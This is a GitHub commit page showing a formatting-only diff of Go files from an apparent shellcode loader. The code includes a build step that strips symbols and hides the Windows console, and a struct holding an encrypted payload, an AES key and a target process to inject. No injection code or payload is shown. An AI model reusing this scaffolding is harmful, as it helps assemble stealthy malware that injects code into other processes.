-
Notifications
You must be signed in to change notification settings - Fork 24
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
11 changed files
with
156 additions
and
157 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,26 +1,26 @@ | ||
package loader | ||
|
||
import ( | ||
"os" | ||
"fmt" | ||
"os/exec" | ||
"fmt" | ||
"os" | ||
"os/exec" | ||
) | ||
|
||
func Compile(sc Shellcode) { | ||
err := exec.Command( | ||
"go", | ||
"build", | ||
"-ldflags", | ||
"-s -w -H=windowsgui", | ||
"-o", | ||
sc.Filename, | ||
"tmp.go", | ||
).Run(); if err != nil { | ||
println("[!] Compile error: " + err.Error()) | ||
os.Exit(1) | ||
} | ||
fmt.Println("[+] Successfully compiled shellcode") | ||
os.Remove("tmp.go") | ||
|
||
err := exec.Command( | ||
"go", | ||
"build", | ||
"-ldflags", | ||
"-s -w -H=windowsgui", | ||
"-o", | ||
sc.Filename, | ||
"tmp.go", | ||
).Run() | ||
if err != nil { | ||
println("[!] Compile error: " + err.Error()) | ||
os.Exit(1) | ||
} | ||
fmt.Println("[+] Successfully compiled shellcode") | ||
os.Remove("tmp.go") | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,16 +1,15 @@ | ||
package loader; | ||
|
||
package loader | ||
|
||
type Shellcode struct { | ||
// payload in bytes | ||
Payload []byte | ||
// payload in bytes | ||
Payload []byte | ||
|
||
// output filename | ||
Filename string | ||
// output filename | ||
Filename string | ||
|
||
// AES key used for encryption & decrpytion | ||
AesKey []byte | ||
// AES key used for encryption & decrpytion | ||
AesKey []byte | ||
|
||
// target process name to inject | ||
Target string | ||
// target process name to inject | ||
Target string | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.